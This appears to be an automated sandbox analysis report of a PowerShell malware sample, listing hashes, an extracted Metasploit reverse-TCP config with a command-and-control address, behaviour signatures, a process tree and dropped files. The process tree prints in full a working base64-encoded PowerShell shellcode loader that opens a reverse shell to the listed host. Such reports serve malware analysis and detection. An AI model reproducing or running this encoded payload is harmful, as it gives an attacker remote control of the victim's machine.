Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/06/2024, 15:24

General

  • Target
    9241d7c5ef3f6b9fd06a1ec6d0b815b0_JaffaCakes118.ps1
  • Size 2KB
  • Sample240603-stfkhsbh76
  • SHA256 a9bf7576baabe4a6c08dcc0b254b87fac4edba205c308b75098582085a983e2a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/reverse_tcp

C2
  • 193.161.193.99:62731

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Blocklisted process makes network request 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\9241d7c5ef3f6b9fd06a1ec6d0b815b0_JaffaCakes118.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -nop -noni -enc JABjACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAYwAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJABzAGMAIAA9ACAAMAB4AGYAYwAsADAAeABlADgALAAwAHgAOABmACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYAMAAsADAAeAAzADEALAAwAHgAZAAyACwAMAB4ADYANAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADMAMAAsADAAeAA4ADkALAAwAHgAZQA1ACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMABjACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMQA0ACwAMAB4ADAAZgAsADAAeABiADcALAAwAHgANABhACwAMAB4ADIANgAsADAAeAAzADEALAAwAHgAZgBmACwAMAB4ADgAYgAsADAAeAA3ADIALAAwAHgAMgA4ACwAMAB4ADMAMQAsADAAeABjADAALAAwAHgAYQBjACwAMAB4ADMAYwAsADAAeAA2ADEALAAwAHgANwBjACwAMAB4ADAAMgAsADAAeAAyAGMALAAwAHgAMgAwACwAMAB4AGMAMQAsADAAeABjAGYALAAwAHgAMABkACwAMAB4ADAAMQAsADAAeABjADcALAAwAHgANAA5ACwAMAB4ADcANQAsADAAeABlAGYALAAwAHgANQAyACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMQAwACwAMAB4ADgAYgAsADAAeAA0ADIALAAwAHgAMwBjACwAMAB4ADUANwAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADgAYgAsADAAeAA0ADAALAAwAHgANwA4ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgANwA0ACwAMAB4ADQAYwAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADUAMAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIAMAAsADAAeAA4AGIALAAwAHgANAA4ACwAMAB4ADEAOAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADgANQAsADAAeABjADkALAAwAHgANwA0ACwAMAB4ADMAYwAsADAAeAAzADEALAAwAHgAZgBmACwAMAB4ADQAOQAsADAAeAA4AGIALAAwAHgAMwA0ACwAMAB4ADgAYgAsADAAeAAwADEALAAwAHgAZAA2ACwAMAB4ADMAMQAsADAAeABjADAALAAwAHgAYwAxACwAMAB4AGMAZgAsADAAeAAwAGQALAAwAHgAYQBjACwAMAB4ADAAMQAsADAAeABjADcALAAwAHgAMwA4ACwAMAB4AGUAMAAsADAAeAA3ADUALAAwAHgAZgA0ACwAMAB4ADAAMwAsADAAeAA3AGQALAAwAHgAZgA4ACwAMAB4ADMAYgAsADAAeAA3AGQALAAwAHgAMgA0ACwAMAB4ADcANQAsADAAeABlADAALAAwAHgANQA4ACwAMAB4ADgAYgAsADAAeAA1ADgALAAwAHgAMgA0ACwAMAB4ADAAMQAsADAAeABkADMALAAwAHgANgA2ACwAMAB4ADgAYgAsADAAeAAwAGMALAAwAHgANABiACwAMAB4ADgAYgAsADAAeAA1ADgALAAwAHgAMQBjACwAMAB4ADAAMQAsADAAeABkADMALAAwAHgAOABiACwAMAB4ADAANAAsADAAeAA4AGIALAAwAHgAMAAxACwAMAB4AGQAMAAsADAAeAA4ADkALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAyADQALAAwAHgANQBiACwAMAB4ADUAYgAsADAAeAA2ADEALAAwAHgANQA5ACwAMAB4ADUAYQAsADAAeAA1ADEALAAwAHgAZgBmACwAMAB4AGUAMAAsADAAeAA1ADgALAAwAHgANQBmACwAMAB4ADUAYQAsADAAeAA4AGIALAAwAHgAMQAyACwAMAB4AGUAOQAsADAAeAA4ADAALAAwAHgAZgBmACwAMAB4AGYAZgAsADAAeABmAGYALAAwAHgANQBkACwAMAB4ADYAOAAsADAAeAAzADMALAAwAHgAMwAyACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANgA4ACwAMAB4ADcANwAsADAAeAA3ADMALAAwAHgAMwAyACwAMAB4ADUAZgAsADAAeAA1ADQALAAwAHgANgA4ACwAMAB4ADQAYwAsADAAeAA3ADcALAAwAHgAMgA2ACwAMAB4ADAANwAsADAAeAA4ADkALAAwAHgAZQA4ACwAMAB4AGYAZgAsADAAeABkADAALAAwAHgAYgA4ACwAMAB4ADkAMAAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAAyADkALAAwAHgAYwA0ACwAMAB4ADUANAAsADAAeAA1ADAALAAwAHgANgA4ACwAMAB4ADIAOQAsADAAeAA4ADAALAAwAHgANgBiACwAMAB4ADAAMAAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADYAYQAsADAAeAAwAGEALAAwAHgANgA4ACwAMAB4AGMAMQAsADAAeABhADEALAAwAHgAYwAxACwAMAB4ADYAMwAsADAAeAA2ADgALAAwAHgAMAAyACwAMAB4ADAAMAAsADAAeABmADUALAAwAHgAMABiACwAMAB4ADgAOQAsADAAeABlADYALAAwAHgANQAwACwAMAB4ADUAMAAsADAAeAA1ADAALAAwAHgANQAwACwAMAB4ADQAMAAsADAAeAA1ADAALAAwAHgANAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAZQBhACwAMAB4ADAAZgAsADAAeABkAGYALAAwAHgAZQAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOQA3ACwAMAB4ADYAYQAsADAAeAAxADAALAAwAHgANQA2ACwAMAB4ADUANwAsADAAeAA2ADgALAAwAHgAOQA5ACwAMAB4AGEANQAsADAAeAA3ADQALAAwAHgANgAxACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAA1ACwAMAB4AGMAMAAsADAAeAA3ADQALAAwAHgAMABhACwAMAB4AGYAZgAsADAAeAA0AGUALAAwAHgAMAA4ACwAMAB4ADcANQAsADAAeABlAGMALAAwAHgAZQA4ACwAMAB4ADYANwAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2AGEALAAwAHgAMAAwACwAMAB4ADYAYQAsADAAeAAwADQALAAwAHgANQA2ACwAMAB4ADUANwAsADAAeAA2ADgALAAwAHgAMAAyACwAMAB4AGQAOQAsADAAeABjADgALAAwAHgANQBmACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAAzACwAMAB4AGYAOAAsADAAeAAwADAALAAwAHgANwBlACwAMAB4ADMANgAsADAAeAA4AGIALAAwAHgAMwA2ACwAMAB4ADYAYQAsADAAeAA0ADAALAAwAHgANgA4ACwAMAB4ADAAMAAsADAAeAAxADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA1ADYALAAwAHgANgBhACwAMAB4ADAAMAAsADAAeAA2ADgALAAwAHgANQA4ACwAMAB4AGEANAAsADAAeAA1ADMALAAwAHgAZQA1ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOQAzACwAMAB4ADUAMwAsADAAeAA2AGEALAAwAHgAMAAwACwAMAB4ADUANgAsADAAeAA1ADMALAAwAHgANQA3ACwAMAB4ADYAOAAsADAAeAAwADIALAAwAHgAZAA5ACwAMAB4AGMAOAAsADAAeAA1AGYALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA4ADMALAAwAHgAZgA4ACwAMAB4ADAAMAAsADAAeAA3AGQALAAwAHgAMgA4ACwAMAB4ADUAOAAsADAAeAA2ADgALAAwAHgAMAAwACwAMAB4ADQAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYAYQAsADAAeAAwADAALAAwAHgANQAwACwAMAB4ADYAOAAsADAAeAAwAGIALAAwAHgAMgBmACwAMAB4ADAAZgAsADAAeAAzADAALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA1ADcALAAwAHgANgA4ACwAMAB4ADcANQAsADAAeAA2AGUALAAwAHgANABkACwAMAB4ADYAMQAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADUAZQAsADAAeAA1AGUALAAwAHgAZgBmACwAMAB4ADAAYwAsADAAeAAyADQALAAwAHgAMABmACwAMAB4ADgANQAsADAAeAA3ADAALAAwAHgAZgBmACwAMAB4AGYAZgAsADAAeABmAGYALAAwAHgAZQA5ACwAMAB4ADkAYgAsADAAeABmAGYALAAwAHgAZgBmACwAMAB4AGYAZgAsADAAeAAwADEALAAwAHgAYwAzACwAMAB4ADIAOQAsADAAeABjADYALAAwAHgANwA1ACwAMAB4AGMAMQAsADAAeABjADMALAAwAHgAYgBiACwAMAB4AGYAMAAsADAAeABiADUALAAwAHgAYQAyACwAMAB4ADUANgAsADAAeAA2AGEALAAwAHgAMAAwACwAMAB4ADUAMwAsADAAeABmAGYALAAwAHgAZAA1ADsAOwAkAHMAaQB6AGUAIAA9ACAAMAB4ADEAMAAwADAAOwBpAGYAIAAoACQAcwBjAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAHMAaQB6AGUAIAA9ACAAJABzAGMALgBMAGUAbgBnAHQAaAB9ADsAJAB4AD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAcwBpAHoAZQAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAcwBjAC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAHgALgBUAG8ASQBuAHQAMwAyACgAKQArACQAaQApACwAIAAkAHMAYwBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwA=
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2448
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oxo4v0ca\oxo4v0ca.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3BD0.tmp" "c:\Users\Admin\AppData\Local\Temp\oxo4v0ca\CSCF844682F2484450881B22298D6B86673.TMP"
          4⤵
            PID:5680

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES3BD0.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES3BD0.tmp
          • Size 1KB
          • SHA256 e7a29478c51a8b806891fdd0b556208af62413290d855497ab4a8e733d206720
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_33tq3tcn.j3h.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_33tq3tcn.j3h.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          oxo4v0ca.dll

          • Path C:\Users\Admin\AppData\Local\Temp\oxo4v0ca\oxo4v0ca.dll
          • Size 3KB
          • SHA256 d74fb71f7db4cac167a23d6e4bd345e5a73cb844805dc69fa99738766d73a01e
          • MD5 SHA1 SHA512

          CSCF844682F2484450881B22298D6B86673.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\oxo4v0ca\CSCF844682F2484450881B22298D6B86673.TMP
          • Size 652B
          • SHA256 b9010d0f76472eda3df5dda1c09c511345dd745d01b5fff1ff2fde918ba1d441
          • MD5 SHA1 SHA512

          oxo4v0ca.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\oxo4v0ca\oxo4v0ca.0.cs
          • Size 557B
          • SHA256 b240a9bb4f72d886522e19fa40b9c688fa94c1bd6dc7b7185f94e4466273a5dc
          • MD5 SHA1 SHA512

          oxo4v0ca.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\oxo4v0ca\oxo4v0ca.cmdline
          • Size 369B
          • SHA256 2d24e830f748b9199f3408dfdcd4619f1cbe8a1fc105f95d5c47546d94d626f7
          • MD5 SHA1 SHA512

          memory/1168-1-0x000001B0CAE20000-0x000001B0CAE42000-memory.dmp

          memory/1168-11-0x00007FFF334F0000-0x00007FFF33FB1000-memory.dmp

          memory/1168-12-0x00007FFF334F0000-0x00007FFF33FB1000-memory.dmp

          memory/1168-59-0x00007FFF334F0000-0x00007FFF33FB1000-memory.dmp

          memory/1168-51-0x00007FFF334F0000-0x00007FFF33FB1000-memory.dmp

          memory/1168-0-0x00007FFF334F3000-0x00007FFF334F5000-memory.dmp

          memory/2448-15-0x0000000004E90000-0x00000000054B8000-memory.dmp

          memory/2448-17-0x0000000004A90000-0x0000000004AB2000-memory.dmp

          memory/2448-31-0x0000000005B50000-0x0000000005B6E000-memory.dmp

          memory/2448-32-0x0000000005BA0000-0x0000000005BEC000-memory.dmp

          memory/2448-33-0x0000000007200000-0x000000000787A000-memory.dmp

          memory/2448-34-0x0000000006090000-0x00000000060AA000-memory.dmp

          memory/2448-29-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/2448-19-0x0000000005530000-0x0000000005596000-memory.dmp

          memory/2448-18-0x00000000054C0000-0x0000000005526000-memory.dmp

          memory/2448-30-0x00000000055A0000-0x00000000058F4000-memory.dmp

          memory/2448-16-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/2448-47-0x0000000006100000-0x0000000006108000-memory.dmp

          memory/2448-49-0x0000000006180000-0x0000000006181000-memory.dmp

          memory/2448-14-0x0000000002560000-0x0000000002596000-memory.dmp

          memory/2448-52-0x0000000074C5E000-0x0000000074C5F000-memory.dmp

          memory/2448-53-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/2448-56-0x0000000074C50000-0x0000000075400000-memory.dmp

          memory/2448-13-0x0000000074C5E000-0x0000000074C5F000-memory.dmp